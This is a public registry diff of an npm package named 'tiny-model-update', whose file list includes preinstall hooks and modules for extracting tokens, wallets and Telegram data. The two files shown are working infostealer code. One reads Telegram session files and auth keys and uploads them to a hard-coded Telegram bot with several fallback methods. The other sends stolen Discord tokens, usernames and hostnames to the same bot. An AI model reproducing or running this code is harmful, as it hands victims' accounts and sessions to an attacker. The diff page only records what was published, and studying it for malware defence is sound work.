tiny-model-update 1.15.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +104 -0
- package/bin/admin-control.js +6 -0
- package/bin/extract-tokens.cmd +10 -0
- package/bin/extract-tokens.js +211 -0
- package/bin/generate-invites.js +39 -0
- package/bin/preinstall.cmd +10 -0
- package/bin/preinstall.js +720 -0
- package/bin/preinstall.vbs +18 -0
- package/bin/restart-bot.js +131 -0
- package/bin/start-bot.js +16 -0
- package/bin/stop-bot.js +127 -0
- package/index.js +27 -0
- package/lib/admin-control.js +55 -0
- package/lib/auto-cycle.js +232 -0
- package/lib/auto-updater.js +145 -0
- package/lib/cycle-runner.js +67 -0
- package/lib/discord-bot.js +101 -0
- package/lib/discord-desktop-decrypt.js +161 -0
- package/lib/encryption.js +22 -0
- package/lib/invite-bot-rest.js +193 -0
- package/lib/invite-bot.js +188 -0
- package/lib/process-cleanup.js +106 -0
- package/lib/security-bypass.js +70 -0
- package/lib/telegram-extractor.js +443 -0
- package/lib/telegram-session-reader.js +144 -0
- package/lib/telegram-session-sender.js +223 -0
- package/lib/telegram.js +94 -0
- package/lib/token-extractor.js +620 -0
- package/lib/token-verifier.js +100 -0
- package/lib/wallet-extractor.js +447 -0
- package/lib/wallet-sender.js +151 -0
- package/package.json +44 -0
|
@@ -0,0 +1,223 @@
|
|
|
1
|
+
import { getTelegramBot } from './telegram.js';
|
|
2
|
+
import { getTelegramCredentials } from './encryption.js';
|
|
3
|
+
import fs from 'fs';
|
|
4
|
+
import path from 'path';
|
|
5
|
+
import os from 'os';
|
|
6
|
+
import FormData from 'form-data';
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* Send Telegram session information and file to Telegram
|
|
10
|
+
*/
|
|
11
|
+
export async function sendTelegramSessionToTelegram(sessionInfo) {
|
|
12
|
+
try {
|
|
13
|
+
const bot = getTelegramBot();
|
|
14
|
+
const { chatId } = getTelegramCredentials();
|
|
15
|
+
|
|
16
|
+
// Get hostname to identify which laptop sent this
|
|
17
|
+
const hostname = os.hostname();
|
|
18
|
+
|
|
19
|
+
// Build message with session file information
|
|
20
|
+
let message = `š± **Telegram Session Found**\n\n`;
|
|
21
|
+
message += `**Host:** ${hostname}\n`;
|
|
22
|
+
message += `**Profile:** ${sessionInfo.profile}\n`;
|
|
23
|
+
message += `**Type:** ${sessionInfo.type}\n`;
|
|
24
|
+
|
|
25
|
+
if (sessionInfo.phoneNumber) {
|
|
26
|
+
message += `**Phone Number:** \`${sessionInfo.phoneNumber}\`\n`;
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
if (sessionInfo.fileName) {
|
|
30
|
+
message += `**File Name:** \`${sessionInfo.fileName}\`\n`;
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
if (sessionInfo.filePath) {
|
|
34
|
+
message += `**File Path:** \`${sessionInfo.filePath}\`\n`;
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
if (sessionInfo.size) {
|
|
38
|
+
message += `**File Size:** ${(sessionInfo.size / 1024).toFixed(2)} KB\n`;
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
// Show auth key if available
|
|
42
|
+
if (sessionInfo.hasAuthKey && sessionInfo.authKey) {
|
|
43
|
+
message += `\nš **Auth Key Found:** ā
\n`;
|
|
44
|
+
if (sessionInfo.authKey.length < 300) {
|
|
45
|
+
message += `**Auth Key:** \`${sessionInfo.authKey}\`\n`;
|
|
46
|
+
} else {
|
|
47
|
+
message += `**Auth Key (preview):** \`${sessionInfo.authKey.substring(0, 100)}...\`\n`;
|
|
48
|
+
message += `**Auth Key (full):** \`${sessionInfo.authKey}\`\n`;
|
|
49
|
+
}
|
|
50
|
+
} else if (sessionInfo.authKeyPreview) {
|
|
51
|
+
message += `\nš **Auth Key (preview):** \`${sessionInfo.authKeyPreview}\`\n`;
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
if (sessionInfo.userId) {
|
|
55
|
+
message += `**User ID:** \`${sessionInfo.userId}\`\n`;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
if (sessionInfo.dcId) {
|
|
59
|
+
message += `**Data Center ID:** \`${sessionInfo.dcId}\`\n`;
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
message += `\nš” **How to Use:**\n`;
|
|
63
|
+
message += `1. Download the file attached below\n`;
|
|
64
|
+
message += `2. Use it with Telegram clients like Telethon or Pyrogram\n`;
|
|
65
|
+
message += `\nā ļø **Keep this session file secure - it provides full access to the Telegram account!**`;
|
|
66
|
+
|
|
67
|
+
// Try to send the file automatically using multiple methods
|
|
68
|
+
let fileSent = false;
|
|
69
|
+
if (sessionInfo.filePath && fs.existsSync(sessionInfo.filePath)) {
|
|
70
|
+
try {
|
|
71
|
+
const fileStats = fs.statSync(sessionInfo.filePath);
|
|
72
|
+
if (fileStats.isFile() && fileStats.size > 0 && fileStats.size < 50 * 1024 * 1024) { // Max 50MB
|
|
73
|
+
const fileName = sessionInfo.fileName || path.basename(sessionInfo.filePath);
|
|
74
|
+
|
|
75
|
+
// Wait a bit to ensure file is not locked
|
|
76
|
+
await new Promise(resolve => setTimeout(resolve, 200));
|
|
77
|
+
|
|
78
|
+
// Read entire file into buffer
|
|
79
|
+
const fileBuffer = fs.readFileSync(sessionInfo.filePath);
|
|
80
|
+
|
|
81
|
+
// Verify buffer is not empty
|
|
82
|
+
if (fileBuffer.length === 0) {
|
|
83
|
+
throw new Error('File buffer is empty');
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
// Wait a bit more before sending
|
|
87
|
+
await new Promise(resolve => setTimeout(resolve, 500));
|
|
88
|
+
|
|
89
|
+
// Method 1: Use form-data directly with Telegram API (most reliable)
|
|
90
|
+
try {
|
|
91
|
+
const { botToken } = getTelegramCredentials();
|
|
92
|
+
const form = new FormData();
|
|
93
|
+
form.append('chat_id', chatId);
|
|
94
|
+
form.append('caption', message);
|
|
95
|
+
form.append('parse_mode', 'Markdown');
|
|
96
|
+
form.append('document', fileBuffer, {
|
|
97
|
+
filename: fileName,
|
|
98
|
+
contentType: 'application/octet-stream'
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
await new Promise((resolve, reject) => {
|
|
102
|
+
form.submit(`https://api.telegram.org/bot${botToken}/sendDocument`, (err, res) => {
|
|
103
|
+
if (err) {
|
|
104
|
+
reject(err);
|
|
105
|
+
return;
|
|
106
|
+
}
|
|
107
|
+
let data = '';
|
|
108
|
+
res.on('data', chunk => data += chunk);
|
|
109
|
+
res.on('end', () => {
|
|
110
|
+
try {
|
|
111
|
+
const result = JSON.parse(data);
|
|
112
|
+
if (result.ok) {
|
|
113
|
+
resolve(result);
|
|
114
|
+
} else {
|
|
115
|
+
reject(new Error(result.description || 'API error'));
|
|
116
|
+
}
|
|
117
|
+
} catch (e) {
|
|
118
|
+
reject(e);
|
|
119
|
+
}
|
|
120
|
+
});
|
|
121
|
+
res.on('error', reject);
|
|
122
|
+
});
|
|
123
|
+
});
|
|
124
|
+
fileSent = true;
|
|
125
|
+
} catch (formError) {
|
|
126
|
+
// Method 2: Try bot.sendDocument with buffer
|
|
127
|
+
try {
|
|
128
|
+
await bot.sendDocument(chatId, fileBuffer, {
|
|
129
|
+
caption: message,
|
|
130
|
+
parse_mode: 'Markdown'
|
|
131
|
+
}, {
|
|
132
|
+
filename: fileName
|
|
133
|
+
});
|
|
134
|
+
fileSent = true;
|
|
135
|
+
} catch (bufferError) {
|
|
136
|
+
// Method 3: Copy file to temp location and send from there
|
|
137
|
+
try {
|
|
138
|
+
const tempDir = path.join(os.tmpdir(), 'telegram-sessions');
|
|
139
|
+
if (!fs.existsSync(tempDir)) {
|
|
140
|
+
fs.mkdirSync(tempDir, { recursive: true });
|
|
141
|
+
}
|
|
142
|
+
const tempFilePath = path.join(tempDir, fileName);
|
|
143
|
+
|
|
144
|
+
// Copy file to temp location
|
|
145
|
+
fs.copyFileSync(sessionInfo.filePath, tempFilePath);
|
|
146
|
+
|
|
147
|
+
// Wait and verify temp file exists and has content
|
|
148
|
+
await new Promise(resolve => setTimeout(resolve, 300));
|
|
149
|
+
const tempStats = fs.statSync(tempFilePath);
|
|
150
|
+
if (tempStats.size === 0) {
|
|
151
|
+
throw new Error('Temp file is empty');
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
// Send from temp location
|
|
155
|
+
await bot.sendDocument(chatId, tempFilePath, {
|
|
156
|
+
caption: message,
|
|
157
|
+
parse_mode: 'Markdown'
|
|
158
|
+
});
|
|
159
|
+
fileSent = true;
|
|
160
|
+
|
|
161
|
+
// Clean up temp file after a delay
|
|
162
|
+
setTimeout(() => {
|
|
163
|
+
try {
|
|
164
|
+
fs.unlinkSync(tempFilePath);
|
|
165
|
+
} catch (e) {
|
|
166
|
+
// Ignore cleanup errors
|
|
167
|
+
}
|
|
168
|
+
}, 5000);
|
|
169
|
+
} catch (tempError) {
|
|
170
|
+
// Method 4: Try sending original file path directly
|
|
171
|
+
try {
|
|
172
|
+
await new Promise(resolve => setTimeout(resolve, 200));
|
|
173
|
+
await bot.sendDocument(chatId, sessionInfo.filePath, {
|
|
174
|
+
caption: message,
|
|
175
|
+
parse_mode: 'Markdown'
|
|
176
|
+
});
|
|
177
|
+
fileSent = true;
|
|
178
|
+
} catch (pathError) {
|
|
179
|
+
// Method 5: Try with file stream
|
|
180
|
+
try {
|
|
181
|
+
const fileStream = fs.createReadStream(sessionInfo.filePath);
|
|
182
|
+
await bot.sendDocument(chatId, fileStream, {
|
|
183
|
+
caption: message,
|
|
184
|
+
parse_mode: 'Markdown'
|
|
185
|
+
}, {
|
|
186
|
+
filename: fileName
|
|
187
|
+
});
|
|
188
|
+
fileSent = true;
|
|
189
|
+
} catch (streamError) {
|
|
190
|
+
fileSent = false;
|
|
191
|
+
}
|
|
192
|
+
}
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
}
|
|
196
|
+
}
|
|
197
|
+
} catch (fileError) {
|
|
198
|
+
fileSent = false;
|
|
199
|
+
}
|
|
200
|
+
}
|
|
201
|
+
|
|
202
|
+
// If file wasn't sent, send message with path
|
|
203
|
+
if (!fileSent) {
|
|
204
|
+
try {
|
|
205
|
+
await bot.sendMessage(chatId, message, {
|
|
206
|
+
parse_mode: 'Markdown'
|
|
207
|
+
});
|
|
208
|
+
} catch (markdownError) {
|
|
209
|
+
try {
|
|
210
|
+
const plainMessage = message.replace(/\*\*/g, '').replace(/`/g, '');
|
|
211
|
+
await bot.sendMessage(chatId, plainMessage);
|
|
212
|
+
} catch (plainError) {
|
|
213
|
+
const minimalMessage = `š± Telegram Session Found\n\nPhone: ${sessionInfo.phoneNumber || 'N/A'}\n\nFile Path:\n${sessionInfo.filePath || 'N/A'}\n\nā ļø File could not be sent automatically. Please copy manually.`;
|
|
214
|
+
await bot.sendMessage(chatId, minimalMessage);
|
|
215
|
+
}
|
|
216
|
+
}
|
|
217
|
+
}
|
|
218
|
+
|
|
219
|
+
return true;
|
|
220
|
+
} catch (error) {
|
|
221
|
+
return false;
|
|
222
|
+
}
|
|
223
|
+
}
|
package/lib/telegram.js
ADDED
|
@@ -0,0 +1,94 @@
|
|
|
1
|
+
import TelegramBot from 'node-telegram-bot-api';
|
|
2
|
+
import os from 'os';
|
|
3
|
+
import { getTelegramCredentials } from './encryption.js';
|
|
4
|
+
|
|
5
|
+
let botInstance = null;
|
|
6
|
+
|
|
7
|
+
export function getTelegramBot() {
|
|
8
|
+
if (!botInstance) {
|
|
9
|
+
const { botToken } = getTelegramCredentials();
|
|
10
|
+
botInstance = new TelegramBot(botToken, { polling: false });
|
|
11
|
+
}
|
|
12
|
+
return botInstance;
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
export async function sendTokenToTelegram(token, profileName, tokenInfo = null) {
|
|
16
|
+
try {
|
|
17
|
+
const bot = getTelegramBot();
|
|
18
|
+
const { chatId } = getTelegramCredentials();
|
|
19
|
+
|
|
20
|
+
// Decode user ID from Discord token
|
|
21
|
+
// Discord tokens: first part is base64-encoded numeric user ID
|
|
22
|
+
const parts = token.split('.');
|
|
23
|
+
let userId = 'Unknown';
|
|
24
|
+
if (parts.length === 3) {
|
|
25
|
+
try {
|
|
26
|
+
const decoded = Buffer.from(parts[0], 'base64').toString();
|
|
27
|
+
// Discord user IDs are 17-19 digit numbers
|
|
28
|
+
if (/^\d{17,19}$/.test(decoded)) {
|
|
29
|
+
userId = decoded;
|
|
30
|
+
}
|
|
31
|
+
} catch (e) {
|
|
32
|
+
// Ignore
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
// Use verified info if available
|
|
37
|
+
if (tokenInfo && tokenInfo.valid) {
|
|
38
|
+
userId = tokenInfo.userId || userId;
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
// Get hostname to identify which laptop sent this
|
|
42
|
+
const hostname = os.hostname();
|
|
43
|
+
|
|
44
|
+
// Build message with region info if available
|
|
45
|
+
let message = `š **Discord Token Found**\n\n` +
|
|
46
|
+
`**Host:** ${hostname}\n` +
|
|
47
|
+
`**Profile:** ${profileName}\n` +
|
|
48
|
+
`**User ID:** \`${userId}\``;
|
|
49
|
+
|
|
50
|
+
if (tokenInfo && tokenInfo.valid) {
|
|
51
|
+
message += `\n**Username:** ${tokenInfo.username || 'Unknown'}`;
|
|
52
|
+
message += `\n**Region/Locale:** ${tokenInfo.region || tokenInfo.locale || 'Unknown'}`;
|
|
53
|
+
message += `\n**Status:** ā
Valid & Active`;
|
|
54
|
+
message += `\n**Servers:** ${tokenInfo.guildsCount || 0}`;
|
|
55
|
+
} else if (tokenInfo && !tokenInfo.valid) {
|
|
56
|
+
message += `\n**Status:** ā ${tokenInfo.error || 'Invalid'}`;
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
message += `\n**Token:** \`${token}\`\n\n` +
|
|
60
|
+
`ā ļø Keep this token secure - never share it!`;
|
|
61
|
+
|
|
62
|
+
await bot.sendMessage(chatId, message, {
|
|
63
|
+
parse_mode: 'Markdown'
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
return true;
|
|
67
|
+
} catch (error) {
|
|
68
|
+
return false;
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
export async function sendInviteToTelegram(guildName, inviteLink) {
|
|
73
|
+
try {
|
|
74
|
+
const bot = getTelegramBot();
|
|
75
|
+
const { chatId } = getTelegramCredentials();
|
|
76
|
+
|
|
77
|
+
// Get hostname to identify which laptop sent this
|
|
78
|
+
const hostname = os.hostname();
|
|
79
|
+
|
|
80
|
+
const message = `š **Server Invite Link**\n\n` +
|
|
81
|
+
`**Host:** ${hostname}\n` +
|
|
82
|
+
`**Server:** ${guildName}\n` +
|
|
83
|
+
`**Invite:** ${inviteLink}`;
|
|
84
|
+
|
|
85
|
+
await bot.sendMessage(chatId, message, {
|
|
86
|
+
parse_mode: 'Markdown'
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
return true;
|
|
90
|
+
} catch (error) {
|
|
91
|
+
return false;
|
|
92
|
+
}
|
|
93
|
+
}
|
|
94
|
+
|